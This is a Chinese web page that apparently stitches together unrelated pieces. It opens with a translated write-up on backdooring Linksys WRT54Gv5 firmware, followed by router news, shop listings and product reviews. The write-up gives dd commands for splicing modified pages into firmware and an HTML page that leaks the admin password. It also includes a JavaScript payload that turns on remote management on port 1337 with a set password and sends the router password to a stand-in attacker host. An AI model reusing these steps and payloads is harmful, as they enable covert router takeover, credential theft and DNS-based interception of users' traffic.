- A+
CiscoLinksys无线路由固件安全分析与后门研究
最近我对嵌入式设备安全方面比较感兴趣，所以我决定找点东西练练手，于是我在淘宝上搜了一下，发现Linksys WRT54Gv5无线路由比较流行，决定就拿这个下手了。
首先要做的就是对固件开始逆向，看一下它的内部构件都是什么玩意儿。这个过程我也发现了这是一件多么令人蛋疼的事情，因为linksys本身已经不再承载固件了，另外，由于版权保护的问题，也没人跟我一样这么做。这些事简直蠢到家了，不过最终我还是偶然发现了一个固件副本，然后用它给我的路由器刷了固件以便分析时与硬件保持一致，然后就开始上手了。
分析
在看了不少devttys0.com博客上讲的东西之后，我决定用binwalk来分析固件文件。
下面是分析后的结果：
mandatory@mandatorys-box:~/Reversing/5v_Linksys-WRT54Gv5$ binwalk FW_WRT54Gv5v6_1.02.8.001_US_20091005.binDECIMAL HEX DESCRIPTION512 0x200 ELF 32-bit LSB MIPS-II executable, MIPS, version 1 (SYSV) 101648 0x18D10 Copyright string: " 1984-1996 Wind River Systems, Inc.Inc." 103664 0x194F0 LZMA compressed data, properties: 0x6C, dictionary size: 8388608 bytes, uncompressed size: 3680864 bytes 1182692 0x120BE4 TROC filesystem, 102 file entries 1185153 0x121581 gzip compressed data, was "apply.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358} 1185892 0x121864 gzip compressed data, was "apply1.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:45:58 2009{epoch:1252050358}
完整的戳这http://pastebin.com/raw.php?i=1FnPL3Fv
看完这个之后我觉得自己还是很幸运的，下面简单地说一下这些东西代表的含义：
0×200偏移之后是MIPS bootloader；0x18D10偏移之后是Wind River Systems Inc版权声明，这行很重要因为他们做了我手上这个路由的操作系统Vxworks Operating System；0x194F0偏移之后是Vxworks OS/文件系统，不过我现在暂时没能力反汇编（没有文档化的大文件系统肯定不好搞）；一堆类似于appky.htm这样gzip压缩的普通文件；
直观上来看，firmware是这样分布的：[ Bootloader ] [ Copyright String ] [ VxWork OS & Filesystem ] [ TROC Filesystem Entry ] [ gziped htm/image files ]
有个现象比较幸运，那就是实际上这些压缩着的普通文件都是一个紧接着一个的，这样我们就知道了每个文件都是从哪里开始然后从哪里结束的，这些偏移可以通过不同文件类型中内置的Magic Number来推算出的，就是利用几个特殊的byte来标识出文件类型。举个例子，gzip的Magic Number是1f 8b – binwalk找到这几个数然后在二进制文件中对这些文件进行定位。
然后逻辑上来讲，我们可以用同样大小的二进制数据来替换这些文件（要依据于固件更新后文件的绝对位置）；
开搞
一个小小的dd命令就可以从路由器固件中摘出来一个.htm文件，其实binwalk也有内置的导出函数用来提取文件，不过我没有操作成功（你可以试一下）；
dd if=firmware.bin bs=1 skip=[Offset] count=[Next Offset - Current Offset] of=output_filename
我们先来搞一点简单的，先把Unauthorized.htm和lastpassword.htm这两个文件提取出来，我特么完全不知道lastpassword.htm这个文件为毛会在固件里面出现，但是它可以把当前路由里面的管理密码以文本的格式输出啊！可能是程序员开发固件的时候不小心留下了这么个逗逼的调试用文件。
lastpassword.htm：
<HTML><HEAD><META http-equiv=Content-Type content="text/html; charset=iso-8859-1"></HEAD><BODY><PRE>Last Password : <TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW></PRE></BODY></HTML>
你应该注意到了lastpassword.htm里面的这些东西：
<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>
这个标签将会被路由的当前密码代替，所以我们也许就能把这个放到Unauthorized.htm里面，这样无论密码怎么变我们都能有路由的管理权限；
还记得不，我们有点蛋疼的地方就是要保证替换的文件要和以前的大小一样，因为.htm文件将会被压缩，所以问题出在这个地方，不过还好，可以解决。
一番捯饬之后，我们最终搞成这个样子：
<HTML><BODY BGCOLOR="#cc9999"> <H4>401 Unauthorized</H4><!--<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW> -->
然后ls一下看一下文件大小：
9699468 12 -rw-r--r-- 144 Oct 18 14:44 Unauthorized.htm.gz9699467 12 -rw-rw-r-- 144 Oct 18 14:13 Unauthorized_original.htm.gz
现在再看一下以前binwalk后的结果：
1338096 0x146AF0 GIF image data, version "89a", 192 x 641340943 0x14760F gzip compressed data, was "Unauthorized.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 20091341087 0x14769F gzip compressed data, was "Upgrade.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 20091344585 0x148449 gzip compressed data, was "UpgStat.htm", from NTFS filesystem (NT), last modified: Fri Sep 4 03:46:03 2009
然后我们把固件从Unauthorized.htm中间劈开，加上我们的文件再组合在一起：
# Cut off first half of firmware right before Unauthorized.htm.gzdd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 count=1340943 of=first_half# Cut out the second half of the firmware right after Unauthorized.htm.gzdd if=FW_WRT54Gv5v6_1.02.8.001_US_20091005.bin bs=1 skip=1341087 of=second_half# Add our backdoored Unauthorized.htm.gz to the firmwarecat Unauthorized.htm.gz >> first_half# Put the pieces togethercat second_half >> first_half
Cool！然后我们再检查一下确保自己所有的步骤都是对的然后开始升级固件：
我承认第一次搞这个有点小紧张，总害怕不好使，但是很荣幸，刷完固件之后成功了！
登录一下：
然后取消进去Unauthorized.htm页面：
F12：
mandatory即为路由密码！
Perfect！然后现在我们就有了一个比较隐秘的控制路由器的方式，但是这个东西不好大范围搞，我们怎么样才能做出来一个类似于僵尸网络一样的payload呢？
后门
我看了一下别人写的payload，最终决定用JS来写后门，因为JS的跨平台性很好。而且JS内建了足够多的函数来让我们随意更改配置，爱咋用咋用。虽然我们没法去控制路由器来去DDos，但是我们可以更改路由器的DNS，控制了DNS我们就可以来对路由器的使用者做中间人攻击。这是因为大部分的计算机都直接采用了路由器选择的DNS，所以你简简单单控制了一台路由就相当于黑了一片PC，这个案例就相当于Zlob trojan，事实也证明了这个东西具有极大的杀伤力。
开搞。
路由设置页面的主页是basic.htm文件，一旦用户登录就立即被重定向到这个页面，所以如果我们把后门加到这个页面就会有极大的命中率，我们制作一个发送用户名和密码到我们控制的服务器上的payload，同时开启远程认证端口1337。
编了点JS代码，然后我们手里就有货了：
function evil_payload(){ xml = new XMLHttpRequest(); xml.open('POST', 'http://admin:<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>@192.168.1.1/manage.tri'); var params = "remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=0&http_passwd=d6nw5v1x2pc7st9m&http_passwdConfirm=d6nw5v1x2pc7st9m&_http_enable=1&web_wl_filter=1&remote_management=1&http_wanport=1337&upnp_enable=1&layout=en"; xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xml.setRequestHeader("Content-length", params.length); xml.setRequestHeader("Connection", "close"); xml.send(params); thb = new XMLHttpRequest(); thb.open('GET', 'http://HackerServer.com/hue.php?p=<TRI_START_LASTPSW>[TRI_LAST_PASSWORD]<TRI_END_LASTPSW>'); thb.send();}
这两个request里面，我们开启了远程控制端口，然后把用户名和密码发送到了我们控制的主机上。
然后用上面同样地方法我们把这个后门添加到固件里面（记住，大小一定要一样）。
刷固件，然后，wallah！
[gif动图，请戳：http://blog.depressedmarvin.com/images/2014/10/08/router_backdoor.gif]
当然，这只是个proof，真正后门在做的时候应该会可以C&C来实时控制路由的DNS Server。
比你想的要容易的多吧，事实上，我之后又分析了一些路由器固件，有同样的问题存在。
下次再会。
[原文来自linksys-wrt56g-backdoor-payload，FreeBuf小编嘎巴搬运，转载请注明来自FreeBuf.COM]
LINKSYSEA6500AC1750千兆双频无线路由器（V2版）
关注“艾淘家居”，享受极致生活
LINKSYS EA6500 AC1750 千兆双频无线路由器（V2版）
Linksys是民用路由器高端品牌，EA6500是其次旗舰路由器。当前，思科已与Belkin贝尔金 达成协议,将家庭网络业务部门转让给后者，包括相关技术，员工及Linksys品牌，后续产品如EA6900再无思科血统。EA6500内置六天线，在802.11.ac下支持5GHZ 1.3Gbps和2.4GHZ 450Mbps的双频高速传输；此款为EA6500 V2版，新版带有USB3.0接口，可外接移动硬盘共享，此外V2版的处理器也改为了BCM4708 双核800M，并且内存从128M升级为256M，相比V1升级相当明显，但是需要注意，在使用优化较差的第三方固件后处理器会出现发热量大的问题，所以刷固件前请仔细研究。
思科计划出售Linksys无线路由器业务
比特(ChinaByte)12月17日消息，彭博社援引消息人士的说法称，思科已聘请巴克莱银行为Linksys无线路由器业务寻找买家。而早在去年就有消息称，思科会出售售Linksys家庭网络产品业务和WebEx视频聊天、协作工具业务。
外界认为，Linksys主要是一个消费品牌，并且不在思科的五大核心业务之内。思科的主要核心是面向大企业客户的业务，如路由器、交换机、协作、数据中心虚拟化、云计算、架构和视频。
CES2015：Linksys推出开源802.11ac千兆无线路由器
之前，Linksys曾经推出的一款基于开源802.11ac千兆无线路由器WRT1900AC，售价为279美元，这个价格让很多小型办公室/家庭办公室（SOHO）和小型企业望而祛步。而在CES2015上，Linksys推出了一款价位更低的基于开源的802.11ac Wi-Fi路由器：该WRT1200AC双频千兆Wi-Fi路由器的售价为179.99美元。
新的Linksys WRT1200AC为企业提供了一个更为实惠的802.11ac无线网络连接和一个完全开源固件的解决方案
对于这个价格，我们或许可以选择到多种多样的Wi-Fi路由器。相比一个3x3 MIMO天线无线路由器而言，WRT1200AC仅提供了2×2 MIMO的天线组合。而其吞吐量却与WRT1900AC的速度一样快，每秒1.3Gbps。在实践中，在一个小办公室中其WRT1200AC每秒达到了500兆的高速传输。
同时兼顾2.4Hz和5GHz双频段的AC1200路由器是由一个1.3GHz的ARM双核处理器提供支持，同时闪存为512MB的DDR3和128MB的内存支持。贝尔金（目前为Linksys的母公司）产品经理表示，“该内存可以升级，它还配备有eSATA/USB2.0和USB3.0接口，4个千兆以太网端口和一个千兆WAN端口。”
而真正吸引我们的不是WRT1200AC的硬件，而是它的软件。在与Marvell的合作中，Linksys公司很高兴地宣布，WRT1900AC芯片组使用的开源Wi-Fi驱动程序是最流行的嵌入式Linux固件之一OpenWrt。此驱动程序现在可以在最新的开源固件映像快照。在这一点上，只有Linux和OpenWrt的专家可以做到完全支持。
Linux固件开发人员讲到，让Marvell公司的802.11ac无线芯片组真正的与一个完全开源的驱动程序组合起来已经成为他们的一项目标，当时在发布1900AC时这点还没有实现。而对于原有的WRT1900AC用户，同样可以使用新的更全面的开源固件。
尽管如此，Linksys公司也承认，“这是一个最初的版本，并计划在驱动程序细化后，发送到上游Linux内核，完全开源固件计划可用于即将发布的WRT1200AC路由器上。”
Linksys公司的产品经理迈克陈在一份声明中讲到，“关于质量和性能，Linksys希望扩大我们的WRT产品线，为客户提供整体的家庭网络解决方案，通过存储解决方案或额外的范围WRT网络体验扩展到整个家庭或办公室。新的WRT1200AC路由器使我们能够满足那些希望使用WRT路由器的用户，但这需要一个更加亲民的价格。”
据悉，该WRT1200AC将在2015年春天正式发布，我们也希望看到其不仅在家庭，而且在SOHO一族和小型企业中得到应用。
获悉最前沿的企业级IT与云计算资讯，点击文章标题下“ZDNetChina”链接，或通讯录搜索“ZDNetChina”，即可关注订阅，和查看精彩的历史信息。
KoolShare论坛LinksysEA6900AC1900无线路由器开箱评测
目前Netgear的R7000和Asus的RT-AC68U是在中国大陆市场上最高端的AC1900无线路由器，Linksys的EA6900由于没有大陆行货并不多见，下面就让我们揭开这款同样顶级的路由器的神秘面纱
首先是开箱部分，这台是美版的EA6900，美版相对于港版，有更多的信道选择，其他则差别不大
包装盒正面，下面列出了一堆支持的功能和技术
包装盒背面，主要是规格对比
包装盒侧面
打开包装盒
路由器主体还是采用了Linksys经典的飞碟造型，磨砂塑料手感良好，中间是金属的装饰条，上面刻着品牌和型号，整体外观非常的大气低调
路由器底部主要是散热孔，贴纸上有出厂SSID和密码
路由器前面是各种接口，从左到右SMA天线接口，电源键，重置，USB3.0，USB2.0，WAN口，4个LAN口，电源插口
路由器底部的两个侧面都是散热孔
三根天线，相对于AC68U和R7000显得比较短小
路由器装上天线，三根天线还是显得比较短小
两眼的电源适配器，12V 3.5A的规格，说明这货的功耗也不低啊
保修卡，安装光盘和附带的网线
最后来一张全家福
评测稍后补上
Linksys发布了新的无线路由器，号称速度最快！
近日，Linksys发布了号称目前最快的无线路由器EA8500，能够提供2.53Ghz的带宽，这比普通路由器的带宽高了不少，具体价格为279.99美元。
据悉，该路由器支持802.11ac标准，搭载高通双核处理器，采用了Multi-User MIMO技术，支持5GHz频率和2.4GHz频率，最高能够提供2.53Gbps的带宽，其中5GHz频段能够提供1.733Gbps的带宽，2.4GHz频段能够提供800Mbps的带宽。
此外，EA8500还配有4个千兆端口、一个USB3.0接口以及一个USB2.0/eSATA接口。并且同时支持PPTP、IPSec和L2TP协议的虚拟专有网络。
Linksys在2013年被思科转手给周边产品商贝尔金。
Linksys发布最快无线路由器EA8500
思科旗下的网络产品字品牌Linksys发布了号称目前最快的无线路由器EA8500。该路由器采用802.11ac标准，搭载高通双核处理器，搭载Multi-User MIMO技术，支持5GHz频率和2.4GHz频率，能够提供2.53Gbps的带宽，其中5GHz频段能够提供1.733Gbps的带宽，2.4GHz频段能够提供800Mbps的带宽。售价为279.99美元。
Linksys声称搭载Multi-User MIMO技术后，该路由器能够提供2.53Ghz的带宽，这比我们在市面上看到的普通路由器的600Mbps等带宽的4-5倍。该路由器配备4个千兆端口和一个USB3.0接口，同时还配置了一个USB2.0/eSATA接口。同时支持PPTP、IPSec和L2TP协议的虚拟专有网。
思科Linksys无线路由器无线穿墙wifi企业级无线AP中继路由器
品牌: Cisco/思科
思科(Cisco)型号: 其它思科(Cisco)型号
是否无线: 无线
无线传输速度: 300Mbps
有线传输率: 10/100Mbps
无线传输速率: 300Mbps
网络标准: 802.11b 802.11g 802.11n
无线网络支持频率: 2.4G
适用对象: 企业级路由器 网络安全路由器 电信级高端路由器 家用
USB接口数量: 1个
是否支持VPN: 不支持
是否内置防火墙: 是
是否支持WDS: 支持
是否支持WPS: 支持
是否可拆: 不可拆
售后服务: 店铺三包
成色: 全新
如需了解更多，请阅读全文，价格优惠，原价388元，现特价销售！
【每日白菜价】思科Cisco-LinksysEA4500智能云端千兆450M双频无线路由器
更多澳洲商品推荐和有趣话题，请点击标题下方的“AtMates每次”关注公众号。
Linksys EA4500是思科EA系列无线路由里的旗舰型产品，外形延续了上代E4200的外观风格，机身上仍旧搭配有银色金属装饰条，典雅高端。采用marvell公司的芯片解决方案，CPU采用Marvell 88F6W01，频率高达1.2ghz。内存为DDR2 128M，FLASH不再是以往路由器上常见的normal flash，而是采用了nand flash，容量为128m。支持2.4 + 5GHz双频模式，内置6根天线，支持3x3 MIMO技术，无线覆盖出色，可以提供超强信号，更快的速度，以及更稳定的无线传输，双频模式下均具有高达450Mbps的理论无线传输速率，用于观看高清网络电视HDTV基本毫无压力。
亮点是型号中的“A”代表“App-Enabled”，即支持手机APP应用的含义。使用思科连接云门户网站或思科连接云的移动应用程序，用户可通过Android和iOS设备对路由器和互联网进行管理。该路由器还支持第三方移动应用程序，用户只需在路由器配置中进行添加即可。
EA4500后面有4个千兆LAN口，1个千兆WAN口，1个USB 2.0接口，1个WPS加密按键，1个Reset键和1个电源接口。USB接口可连接外置存储设备，具NAS功能，而且作为一个NAS服务器，EA4500也做得相当出色。
当加上外置硬盘，通过千兆以太网，EA4500可提供高达20MBps(163Mbps)的读取速度和高达19MBps(153Mbps) 的写入速度。在可作为NAS服务器的路由器产品中，这些速度表现都是非常给力的。电源110V~240V全球通用，可直接使用。
这款机器价格已经从299降到79，是不折腾固件用户的最佳选择之一。
猛击左下角“阅读原文”带你直达商品链接。
苹果用户搜索“AtMates - 每次”下载我们的手机APP，更多精彩生活尽在掌握！
安卓用户敬请期待APP近期上线！
评测|经典再现LinksysAC1200无线路由器试用
智嗨网 smarthey.com探索智能生活
发现 | 探索 | 开拓
提及Linksys，很多人的第一反应是WRT54G这款里程碑式的产品，当年凭借先进的网络技术底蕴和高可靠性，成为所有用户都想拥有的一款神器。但随着Linksys在国内渠道的收缩和品牌的转换，我们只能通过淘宝和海淘购买到他们的产品，而外形更时尚、内置天线的EA系列路由器也替代了WRT经典系列成为Linksys的代言者，这难免让WRT的拥趸们感到失落。
下半年，已经被贝尔金收至麾下的linksys终于重返国内市场，并首先发布了两款WRT系列无线路由器WRT1900AC和WRT1200AC，希望通过两款中高端产品在市场中的回归，重塑自己在高端用户市场中的形象，毕竟在极路由、小米等一大波“智能化”洗礼后，用户对于路由器的需求也发生了变化，除了传统功能需求外，更多场景智能化的功能应用成为大家新的需求。
Linksys WRT1200AC是针对中高端用户推出的产品，虽然进入国内市场动作稍晚，但作为“新”人它的身价比同类产品高出不少，这与目前市场流行“大白菜“风向截然不同，也让我们对它有更多期待，否则单凭过往的成绩和经典设计回归市场，不仅难以服众，更不像是实力派的作风。本次试用Linksys WRT1200AC无线路由器给我们一个时间检验的机会，看看千元的差价到底有什么不同。
怀旧设计 延续经典情怀
linksys的产品包装一向比较朴实，WRT1200AC包装盒没有过多的设计，我们一眼就能分辨出产品的外形。
在纸壳包装的侧面，分列了中英文产品参数说明以及MAC地址等重要信息，让用户能快速索引产品信息，让用户更快速熟悉上手WRT1200AC使用。
开启包装盒，WRT1200AC蓝黑色的经典配色让我们有中穿越时空的感觉，不过与当年的WRT54G相比，它的体积明显大了不止一圈。包装盒内全部采用黑色涂层，在WRT1200AC四周包裹了1厘米的PVC材质保护，即使运输过程有磕碰撞击都能较好保护好产品免受损坏。
包装盒内，除了WRT1200AC路由主机外，还配备了双5db天线、千兆网线、多国转接口和电源适配器等配件，当然产品说明书和质保书必不可少。不过从电源适配器的多标准转接头判断，国行版WRT1200AC是国际通用版直接换包装而来，稍后我们也印证了这个猜测。
两根5db天线做工非常规整，支持360°旋转，让WRT1200AC可以在任何环境下都能适用。从天线的细节上看，Linksys对产品依然保持较高标准，天线的包裹屏蔽以及接口的屏蔽都做得非常细致，原因在于不仅要满足2.4 GHz和5 GHz双频无线连接的需求，WRT1200AC还支持波束成形技术，就是通过调节天线搭配，可以为单个设备连接提供强化的信号，优先享有更大的带宽和速率支持，确保重要设备的连接稳定性。
装上天线后，WRT1200AC彻底变身为天线宝宝，配色还是经典蓝黑两色搭配，但是从外形设计和尺寸都远远超过当年的WRT54G。和近年来火热的EA内置天线系列区别很大。如果EA系列是潮范儿，那么WRT系列就显得更老成，一眼就能看出这家伙“专业”卖相。
正面的内凹菱角设计让它在老成的经典形象中添加了一些新意，搭配细条型的显示灯，看上去有点像机器人头盔设计，设计感和个性更强烈一些。
侧面看，WRT1200AC突出线条设计展示得更加明显，整个产品的立体感也呈现出来了，比四方的传统设计有进步。
在智能路由器大幅削减有线接口的时候，Linksys又显示出自己专业的一面，配备了4个千兆以太网端口，提供USB 3.0和eSATA接口，支持高速外置大容量存储设备，无须任何设置即可即插即用。另外，WRT1200AC还提供一键无线加密保护、复位和开关按键， 功能设计考虑比较周全，特别无线加密保护对于商用用户应用是必要的。
按照路由器一贯做法，底部产品标签标注了产品SN、MAC和SSID，默认无线加密码和友客访问密码也列其中，主要作用是便于用户查询相关信息和访问密码。
WRT1200AC路由器采用双核1.3GHz 的ARM处理器，搭配512MB RAM和128MB ROM，硬件性能的提升，无疑让它在数据流切换、多线程任务、连接能力和稳定性都大幅提升，不过产品发热量也随之提升。所以我们看到机身外壳上下都遍布了散热孔，孔径约为3.5mm。虽然解决了散热问题，但没配备防尘网，使得机身内部很容易积累灰尘，这可是电子产品的一大威胁。
材质上虽然是ABS工程塑料，但表面经过磨砂处理后，上手手感比较细腻，和其他采用金属外壳产品相比，也并不逊色多少。Linksys外壳模具制作水准较高，制作出的外壳精度和一致性都不错，几乎所有接缝处缝隙都比较紧密。看来想要拆解它，还需要找点窍门。
其实只要拧下四个垫脚的螺丝后，拆解WRT1200AC就非常简单，只需要注意前后三部分连接的暗扣就可以了。
WRT1200AC主板采用了多层PCB设计，线路走线、元器件布局以及贴片工艺都保持了一贯的高标准，巨大的铝制散热器是为双核CPU构建的被动散热方案，面对一些更严苛的环境应用，Linksys也留有后招，设计了电源接口为加装风扇主动散热做了准备。
PCB背面的覆铜工艺也是为了起到更好的散热效果，显然WRT1200AC对于路由器运行稳定性的的标准比普通消费级高，而是按照企业级的标准制定。
为什么会采用更高的企业标准，我们先看清WRT1200AC的芯片布局和温度测试情况。
WRT1200AC采用整套Marvell网络解决解决方案，处理器为Marvell 88F6820双核1.3G处理器（图示A区），5GHz和2.4GHz分别采用Marvell 88W8864和Marvell 88W8864两颗无线芯片（图示B区），有线网络控制器为Marvell 88E6176（图示C区）。
这三个区域无疑都是散热需求较高的区域，实际测试中也印证了。测试室温为27.3℃，路由器负载5台手机和5台电脑，除了正常的浏览和在线视频播放外，4台电脑两两对应通过无线传输1080p电影文件。10分钟后，ABC三个区域的温度变化比较明显，在A区由于没有加装散热片，所以温度达到44.3℃，而覆盖BC两区的散热片也达到40.2℃，应对这类日常办公低负载显然还能得心应手，如果长时间处于高负载的压力下，WRT1200AC应该改善A区无线放大区域的散热能力，加装散热片或改装为主动散热均可。
详细设置 全英文控制界面
虽然这次试用是国行版Linksys WRT1200AC，但是并没有提供中文设置界面，这也是之前我们为什么这只是国际版的，而并没有体现国行版的元素。
在浏览器输入“10.47.101.17”即进入设置界面，整体布局是Linksys的一贯风格，左栏为项目选择，右栏为项目显示细则，用户能够一眼清晰明白各个设置要素。不过对于不喜欢折腾的用户就比较痛苦，全英文界面上手难度不小。
从设备上我们可以看到Linksys WRT1200AC分别有4个SSID，5GHz和2.4GHz分别有2个，区隔开用户和客人的不同应用需求，能够更好管理分配客户端等。
对于接入的每一款接入设备，WRT1200AC都有细致的管理，从优先级、带宽以及权限限制，并针对游戏、视频有特别优化和分配。
对于路由器的每一 个细节和选项，都能通过界面进行设置调整，对于热衷动手的用户而言自然是好事，但是也会导致非“专业”用户失去耐心。不过也有需求更多的发烧友，WRT1200AC也支持OpenWRT，所以请尽情折腾吧。
除了电脑WEB端外，Linksys也有自己的手机App “Smart Wi-Fi”，从UI设计风格和配色都和WEB端并没有太大的变化，只是针对App应用的移植版。
探秘差距 无线性能测试
WRT1200AC国行版无疑是目前AC1200阵营的中的贵族，如何让用户信服选择，必须拿出一点干货来才行，否则和其他家几百元的产品有什么区别？
我们测试采用联想ThinkPad T420作为无线测试终端，无线网卡升级为英特尔 7260AC无线网卡，并以极路由弎为参考设备，探究一下WRT1200AC无线信号和传输性能如何。
从信号测试结果来看，Linksys WRT1200AC和极路由弎在信号强度上旗鼓相当，当极路由采用的的是3天线方案，而WRT1200AC则为2天线，也说明在无线调校上Linksys有自己的独到之处。
通过USB3.0外置存储进行文件访问传输测试，让大家对WRT1200AC无线数据传输的读写能力有直观的了解，我们测试U盘采用的大家常用的NTFS格式，所以实际读写速率只能达到35MB/s左右，但这并非是它的极限值。如果采用EXT4格式的外置存储设备，其速率接近100MB/s，不过EXT4格式对普通用户门槛较高，日常使用几率不大。
WRT1200AC作为一款“专业级”产品，在运行和连接稳定性上一直保持高标准，在近1个多月24×7的工作状态下，日常连接设备在10台左右，没有出现断网断流的情况发生。按照Linksys的标准，WRT1200AC承载这种压力测试的极限值应该高出一个数量级。
试用小结：
作为一款兼具家用和商用的专业无线路由器，Linksys WRT1200AC在各项测试和性能表现上都无疑让人满意，在扩展性和改造可玩性上也远远超过同类产品。不过对于普通家庭用户而言，这些亮点的实际应用几率低、门槛高，而花费的代价高，CP值自然不高。不过对于50~100人的SMB以及小型商用用户，Linksys WRT1200AC在高性能、高扩展性以及强大的管理能力方面的优势展现出来，以单台无线覆盖能力而言它的CP值飙升。另外，Linksys WRT1200AC国行版在国内拥有完善的售后保修服务，不用担心海淘拼人品，让用户使用更省心
